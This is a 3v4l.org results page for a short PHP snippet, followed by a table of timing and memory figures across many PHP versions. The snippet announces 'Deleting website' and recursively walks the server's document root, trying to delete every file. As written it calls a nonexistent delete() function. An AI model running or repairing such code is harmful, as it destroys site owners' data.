3v4l.org

run code in 300+ PHP versions simultaneously
<html> <body> <p>Deleting website; please wait <img src="data:image/gif;base64,R0lGODlhCAAIAPAAAAAAAP///yH/C05FVFNDQVBFMi4wAwEAAAAh+QQEMgD/ACwAAAAACAAIAAACBoSPqcvtXQAh+QQFMgAAACwAAAAACAAIAAACBoyPqcvtXQA7" /></p> <?php function zapfiles($dir) { if (is_dir($dir)) { $files = scandir($dir); foreach ($files as $file) { if ($file != '.' && $file != '..') { if (is_dir("$dir/$file")) { zapfiles("$dir/$file"); } else { try { @delete("$dir/$file"); // Suppress locked file errors } catch (Exception $e) { // Locked files can't be deleted; just carry on } } } } } } zapfiles($_SERVER['DOCUMENT_ROOT']); ?> <p>Website deletion complete</p>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.40.0070.01018.68
8.3.30.0070.00719.12
8.3.20.0040.00420.25
8.3.10.0040.00421.92
8.3.00.0040.00422.43
8.2.170.0030.01022.96
8.2.160.0030.01019.21
8.2.150.0090.00024.18
8.2.140.0050.00324.66
8.2.130.0040.00426.16
8.2.120.0040.01119.38
8.2.110.0090.00020.40
8.2.100.0110.00017.91
8.2.90.0030.00519.06
8.2.80.0060.00317.97
8.2.70.0030.00617.50
8.2.60.0040.00417.93
8.2.50.0070.00318.07
8.2.40.0050.00319.95
8.2.30.0080.00018.01
8.2.20.0040.00417.57
8.2.10.0080.00017.77
8.2.00.0000.00717.82
8.1.270.0030.00522.14
8.1.260.0040.00426.35
8.1.250.0000.00828.09
8.1.240.0100.00023.91
8.1.230.0070.00421.04
8.1.220.0000.00817.74
8.1.210.0000.00818.77
8.1.200.0090.00017.23
8.1.190.0040.00417.43
8.1.180.0040.00418.72
8.1.170.0050.01018.33
8.1.160.0040.00322.18
8.1.150.0040.00418.53
8.1.140.0040.00417.34
8.1.130.0030.00317.79
8.1.120.0050.00217.44
8.1.110.0000.00817.48
8.1.100.0060.00317.30
8.1.90.0030.00517.42
8.1.80.0000.00717.32
8.1.70.0000.00717.41
8.1.60.0000.00817.46
8.1.50.0000.00817.42
8.1.40.0030.00517.49
8.1.30.0020.00517.60
8.1.20.0080.00017.62
8.1.10.0050.00317.51
8.1.00.0030.00517.47
8.0.300.0000.00818.77
8.0.290.0080.00016.63
8.0.280.0030.00318.33
8.0.270.0000.00717.23
8.0.260.0000.00616.79
8.0.250.0000.00716.95
8.0.240.0000.00816.91
8.0.230.0080.00016.86
8.0.220.0030.00316.75
8.0.210.0000.00716.85
8.0.200.0030.00316.93
8.0.190.0000.00716.76
8.0.180.0000.00816.89
8.0.170.0000.00816.83
8.0.160.0040.00416.82
8.0.150.0040.00416.77
8.0.140.0040.00416.87
8.0.130.0030.00313.17
8.0.120.0080.00215.00
8.0.110.0040.00615.04
8.0.100.0050.00515.01
8.0.90.0060.00515.10
8.0.80.0070.00815.08
8.0.70.0060.00415.07
8.0.60.0080.00215.03
8.0.50.0090.00215.06
8.0.30.0090.01115.66
8.0.20.0110.00716.05
8.0.10.0090.00115.09
8.0.00.0080.00715.68
7.4.330.0070.00015.00
7.4.320.0060.00016.40
7.4.300.0000.00816.58
7.4.290.0000.00816.54
7.4.280.0030.00316.52
7.4.270.0050.00216.51
7.4.260.0030.00316.51
7.4.250.0090.00114.78
7.4.240.0060.00315.44
7.4.230.0060.00414.92
7.4.220.0070.00814.86
7.4.210.0060.01015.73
7.4.200.0000.01015.00
7.4.190.0070.00314.79
7.4.180.0140.00013.32
7.4.160.0130.00214.86
7.4.150.0070.00815.31
7.4.140.0090.00716.28
7.4.130.0070.00715.38
7.4.120.0060.00915.44
7.4.110.0150.00014.78
7.4.100.0060.01114.94
7.4.90.0060.00914.99
7.4.80.0110.00416.31
7.4.70.0110.00614.87
7.4.60.0090.00514.78
7.4.50.0080.00214.82
7.4.40.0070.00717.93
7.4.30.0080.00614.84
7.4.20.0120.00013.08
7.4.10.0110.00013.14
7.4.00.0060.00613.97
7.3.330.0030.00313.15
7.3.320.0000.00513.38
7.3.310.0030.00714.81
7.3.300.0070.00214.82
7.3.290.0060.00714.82
7.3.280.0100.00715.56
7.3.270.0070.00815.25
7.3.260.0060.00814.79
7.3.250.0110.00615.28
7.3.240.0110.00314.74
7.3.230.0050.00914.75
7.3.220.0120.00013.12
7.3.210.0070.00814.75
7.3.200.0100.00716.25
7.3.190.0070.01014.77
7.3.180.0100.00714.68
7.3.170.0090.00814.79
7.3.160.0060.00814.84
7.3.150.0090.00313.12
7.3.140.0100.00313.05
7.3.130.0140.00013.22
7.3.120.0080.00413.89
7.3.110.0120.00313.12
7.3.100.0130.00013.18
7.3.90.0140.00013.24
7.3.80.0090.00613.13
7.3.70.0040.00913.19
7.3.60.0060.00813.41
7.3.50.0080.00513.26
7.3.40.0080.00513.43
7.3.30.0090.00413.25
7.3.20.0090.00515.07
7.3.10.0140.00015.14
7.3.00.0150.00015.02
7.2.340.0120.00013.13
7.2.330.0120.00515.04
7.2.320.0090.00614.89
7.2.310.0120.00514.95
7.2.300.0110.00514.90
7.2.290.0100.00514.93
7.2.280.0100.00313.21
7.2.270.0100.00213.24
7.2.260.0090.00313.27
7.2.250.0090.00313.27
7.2.240.0060.00613.28
7.2.230.0100.00313.27
7.2.220.0100.00313.27
7.2.210.0080.00413.08
7.2.200.0110.00313.41
7.2.190.0100.00313.47
7.2.180.0130.00013.34
7.2.170.0040.00913.31
7.2.160.0000.01213.40
7.2.150.0070.00715.20
7.2.140.0100.00215.20
7.2.130.0060.00615.24
7.2.120.0060.00615.35
7.2.110.0130.00015.20
7.2.100.0080.00515.33
7.2.90.0130.00015.13
7.2.80.0060.00615.25
7.2.70.0060.00615.15
7.2.60.0090.00315.14
7.2.50.0090.00315.29
7.2.40.0040.00815.29
7.2.30.0080.00515.22
7.2.20.0130.00015.38
7.2.10.0100.00315.14
7.2.00.0130.00015.16
7.1.330.0060.00614.21
7.1.320.0040.00814.46
7.1.310.0110.00014.39
7.1.300.0120.00014.41
7.1.290.0120.00014.41
7.1.280.0130.00014.25
7.1.270.0000.01114.21
7.1.260.0120.00014.25
7.1.250.0120.00014.19
7.1.240.0090.00314.27
7.1.230.0060.00614.24
7.1.220.0080.00414.17
7.1.210.0090.00214.32
7.1.200.0110.00215.05
7.1.190.0090.00314.34
7.1.180.0090.00314.29
7.1.170.0120.00014.10
7.1.160.0070.00514.29
7.1.150.0120.00014.33
7.1.140.0060.00614.16
7.1.130.0120.00014.34
7.1.120.0040.00814.17
7.1.110.0120.00014.32
7.1.100.0100.00214.23
7.1.90.0090.00214.34
7.1.80.0070.00514.21
7.1.70.0070.00315.61
7.1.60.0060.01317.07
7.1.50.0090.00915.59
7.1.40.0040.00814.18
7.1.30.0060.00614.38
7.1.20.0120.00014.20
7.1.10.0120.00014.29
7.1.00.0080.01718.46
7.0.330.0060.00513.88
7.0.320.0080.00414.04
7.0.310.0080.00314.13
7.0.300.0090.00314.12
7.0.290.0000.00514.11
7.0.280.0020.00214.06
7.0.270.0080.00013.96
7.0.260.0080.00014.13
7.0.250.0000.00814.13
7.0.240.0050.00214.31
7.0.230.0050.00214.13
7.0.220.0070.00014.02
7.0.210.0000.00714.20
7.0.200.0050.00215.45
7.0.190.0050.00014.08
7.0.180.0120.00014.07
7.0.170.0080.00414.26
7.0.160.0120.00014.01
7.0.150.0110.00014.10
7.0.140.0050.03918.02
7.0.130.0100.00214.20
7.0.120.0090.00214.15
7.0.110.0120.00014.04
7.0.100.0050.03917.07
7.0.90.0120.03817.07
7.0.80.0090.04417.02
7.0.70.0040.03516.85
7.0.60.0130.04016.92
7.0.50.0100.03617.17
7.0.40.0060.04117.09
7.0.30.0080.04217.05
7.0.20.0090.03816.96
7.0.10.0120.03817.15
7.0.00.0030.04917.02
5.6.400.0060.00612.49
5.6.390.0120.00012.59
5.6.380.0110.00012.87
5.6.370.0060.00612.67
5.6.360.0120.00012.69
5.6.350.0110.00012.61
5.6.340.0090.00312.70
5.6.330.0000.01112.58
5.6.320.0000.01112.70
5.6.310.0080.00312.87
5.6.300.0100.00212.58
5.6.290.0110.00012.62
5.6.280.0080.00312.87
5.6.270.0000.01112.83
5.6.260.0030.00712.71
5.6.250.0090.02516.78
5.6.240.0120.04016.70
5.6.230.0110.04116.79
5.6.220.0090.02716.77
5.6.210.0030.03716.74
5.6.200.0070.04316.86
5.6.190.0120.02817.05
5.6.180.0060.04516.92
5.6.170.0090.03716.87
5.6.160.0070.04217.08
5.6.150.0120.01816.98
5.6.140.0090.04316.97
5.6.130.0110.04216.94
5.6.120.0090.03517.04
5.6.110.0070.02717.01
5.6.100.0090.03316.93
5.6.90.0060.04516.90
5.6.80.0100.03916.65
5.6.70.0120.02816.66
5.6.60.0050.04816.67
5.6.50.0140.03816.54
5.6.40.0060.04316.54
5.6.30.0090.03016.63
5.6.20.0060.02516.57
5.6.10.0080.04216.67
5.6.00.0120.02016.47
5.5.380.0070.03616.69
5.5.370.0110.04016.68
5.5.360.0140.03316.52
5.5.350.0060.02816.44
5.5.340.0110.04216.83
5.5.330.0080.03116.68
5.5.320.0090.03816.74
5.5.310.0090.03716.81
5.5.300.0080.04316.80
5.5.290.0070.04716.73
5.5.280.0050.04216.75
5.5.270.0100.04316.84
5.5.260.0070.04516.56
5.5.250.0070.04416.72
5.5.240.0060.04516.58
5.5.230.0090.03716.52
5.5.220.0040.03316.44
5.5.210.0050.04316.62
5.5.200.0050.04316.49
5.5.190.0090.03616.39
5.5.180.0090.03616.41
5.5.170.0110.00012.68
5.5.160.0100.02916.21
5.5.150.0100.03516.40
5.5.140.0170.01516.32
5.5.130.0120.03316.26
5.5.120.0070.01816.29
5.5.110.0060.02216.38
5.5.100.0090.02016.26
5.5.90.0090.03816.47
5.5.80.0050.04016.22
5.5.70.0040.04316.46
5.5.60.0050.04316.39
5.5.50.0050.04016.42
5.5.40.0090.03816.49
5.5.30.0060.03816.42
5.5.20.0120.03316.40
5.5.10.0070.03616.39
5.5.00.0050.03016.31
5.4.450.0090.03415.90
5.4.440.0050.04016.03
5.4.430.0140.03316.11
5.4.420.0110.03816.20
5.4.410.0080.03815.96
5.4.400.0100.04215.94
5.4.390.0040.04615.90
5.4.380.0070.03715.97
5.4.370.0110.03815.71
5.4.360.0060.03815.90
5.4.350.0040.04215.92
5.4.340.0060.02815.97
5.4.330.0080.00312.66
5.4.320.0110.02015.82
5.4.310.0060.02315.92
5.4.300.0030.03515.93
5.4.290.0070.01915.74
5.4.280.0050.02215.94
5.4.270.0090.03615.91
5.4.260.0030.04315.92
5.4.250.0040.02115.83
5.4.240.0090.03315.79
5.4.230.0090.03015.81
5.4.220.0150.03015.78
5.4.210.0140.03215.84
5.4.200.0090.03515.68
5.4.190.0080.02615.79
5.4.180.0080.02315.82
5.4.170.0110.02615.80
5.4.160.0110.03215.77
5.4.150.0090.01815.75
5.4.140.0100.03514.47
5.4.130.0090.02414.21
5.4.120.0080.03314.54
5.4.110.0050.03714.55
5.4.100.0030.04414.60
5.4.90.0090.03614.44
5.4.80.0070.03714.50
5.4.70.0100.03714.50
5.4.60.0110.02914.47
5.4.50.0050.04214.46
5.4.40.0100.03014.53
5.4.30.0090.03514.43
5.4.20.0090.03514.52
5.4.10.0060.02714.57
5.4.00.0110.03614.11
5.3.290.0000.05114.26
5.3.280.0070.04014.28
5.3.270.0040.04314.37
5.3.260.0110.02314.23
5.3.250.0130.03114.22
5.3.240.0110.03014.19
5.3.230.0070.04114.36
5.3.220.0100.03514.18
5.3.210.0050.04214.29
5.3.200.0050.03514.17
5.3.190.0030.04414.32
5.3.180.0060.03114.28
5.3.170.0130.02114.38
5.3.160.0080.03314.39
5.3.150.0090.03714.38
5.3.140.0080.02514.24
5.3.130.0070.04014.37
5.3.120.0040.02714.35
5.3.110.0060.04314.35
5.3.100.0050.02914.23
5.3.90.0080.02414.35
5.3.80.0030.02314.29
5.3.70.0100.03514.31
5.3.60.0050.04214.36
5.3.50.0080.03314.24
5.3.40.0100.03614.34
5.3.30.0090.03514.29
5.3.20.0070.03614.36
5.3.10.0040.04014.13
5.3.00.0030.02714.24
5.2.170.0030.03413.78
5.2.160.0070.01913.72
5.2.150.0030.03613.75
5.2.140.0050.02413.83
5.2.130.0080.02513.71
5.2.120.0070.03013.87
5.2.110.0050.02513.74
5.2.100.0100.02213.86
5.2.90.0040.03213.72
5.2.80.0030.03013.77
5.2.70.0020.02113.82
5.2.60.0060.03213.76
5.2.50.0080.02013.66
5.2.40.0050.02913.81
5.2.30.0030.03413.68
5.2.20.0040.02413.69
5.2.10.0070.01713.71
5.2.00.0090.02813.60
5.1.60.0020.03113.35
5.1.50.0070.01513.38
5.1.40.0030.02313.41
5.1.30.0030.02813.31
5.1.20.0030.02213.31
5.1.10.0060.01813.41
5.1.00.0090.01813.22
5.0.50.0030.02712.85
5.0.40.0000.02312.85
5.0.30.0020.02912.85
5.0.20.0050.02012.85
5.0.10.0030.01212.85
5.0.00.0050.02812.85
4.4.90.0000.01412.85
4.4.80.0050.01312.85
4.4.70.0050.01012.85
4.4.60.0020.01312.85
4.4.50.0030.01312.85
4.4.40.0020.01512.85
4.4.30.0040.01312.85
4.4.20.0020.01812.85
4.4.10.0030.01512.85
4.4.00.0010.02812.85
4.3.110.0020.01912.85
4.3.100.0000.01812.85
4.3.90.0050.01512.85
4.3.80.0020.03012.85
4.3.70.0030.01512.85
4.3.60.0040.01212.85
4.3.50.0020.01512.85
4.3.40.0040.02312.85
4.3.30.0000.02012.85
4.3.20.0000.01812.85
4.3.10.0010.01912.85
4.3.00.0010.01712.85

preferences:
55.69 ms | 400 KiB | 5 Q